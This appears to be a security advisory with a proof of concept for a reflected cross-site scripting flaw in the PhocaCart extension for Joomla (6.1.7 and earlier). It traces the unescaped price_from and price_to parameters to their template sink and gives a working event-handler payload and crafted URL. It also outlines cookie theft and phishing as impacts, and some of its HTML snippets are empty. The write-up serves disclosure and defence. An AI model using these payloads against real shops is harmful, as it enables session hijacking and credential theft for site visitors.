## https://sploitus.com/exploit?id=877CAA6E-74E6-576F-AA23-134CBADD46AF
# Reflected XSS via price_from / price_to Filter Parameters in PhocaCart
**PhocaCart ≤ 6.1.7 — Unauthenticated Attacker Injects Arbitrary JavaScript via Crafted Price Filter URL**
---
## SUMMARY
PhocaCart 6.1.7 for Joomla is vulnerable to Reflected Cross-Site Scripting (XSS) via the `price_from` and `price_to` GET parameters when the `mod_phocacart_filter` module is installed and published. The parameters are processed using Joomla's `'string'` input filter, which applies `strip_tags()` only — it does not apply `htmlspecialchars()`. The raw values are echoed directly into HTML `value=""` attributes in the price filter form rendered by the `mod_phocacart_filter` module.
An attacker delivers a crafted URL to a victim. When the victim loads the page, the injected event handler executes in their browser. No authentication is required. The attack requires `mod_phocacart_filter` (a separately distributed module) to be installed and published.
---
## AFFECTED VERSIONS
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
| ------------------------------------------------ | ---------- | ----------------------------------------------------------- | ----- |
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
---
## VULNERABILITY DETAILS
**Type:** Reflected XSS (CWE-79)
**Authentication required:** None — public shop frontend
**CSRF token required:** No (GET request)
**Sink file:** `site/layouts/form_filter_horizontal_text.php:65,71`
### Root Cause
Joomla's `'string'` input filter calls `strip_tags()` — it removes HTML tags but leaves HTML special characters such as `"`, `'`, and `>` unencoded. The `price_from` and `price_to` GET parameters are retrieved with this filter and stored in `$data['getparams']`. The template files echo these values directly into `value=""` attributes without calling `htmlspecialchars()`, allowing attribute-context injection.
**Data flow — source to sink:**
```
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ " /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
```
**FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — VULNERABLE SINK**
```php
"
id="phPriceFrom..." />
```
The same sink pattern also exists in `form_filter_text.php:81,87` (vertical layout variant). Both `price_from` and `price_to` parameters are equally vulnerable.
---
## PROOF OF CONCEPT
#### 1. Craft Malicious URL
Attacker constructs a URL targeting the shop items view with an event-handler payload injected into the `price_from` parameter. The payload breaks out of the `value=""` attribute context.
```
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
```
#### 2. Victim Loads Page — XSS Fires on Page Load
When the victim opens the crafted URL, the shop items page renders the price filter form. The injected attributes are present in the `` element. With the `autofocus onfocus` payload, JavaScript executes immediately on page load without any further user interaction.
**Rendered HTML (vulnerable):**
```html
```
*XSS fires in victim's browser — `alert(document.domain)` confirms execution context in shop frontend*
---
## IMPACT
1. **Session Cookie Theft** — A weaponized payload can exfiltrate the victim's session cookie to an attacker-controlled server, enabling account takeover.
2. **Phishing / Credential Harvesting** — The payload can redirect the victim to a fake login page hosted on the attacker's domain, capturing credentials under the trusted shop domain name.
3. **Malware Distribution** — The shop's trusted origin can be abused to deliver drive-by downloads or exploit kits to victims who click attacker-crafted links.
---
## REFERENCES
- **CVE:** https://vulners.com/cve/CVE-2026-76565
- **NVD:** https://nvd.nist.gov/vuln/detail/CVE-2026-76565
- **GitHub Advisory:** https://github.com/advisories/GHSA-2m94-2f44-8q5p
- **Vendor Repository:** https://github.com/PhocaDesign/PhocaCart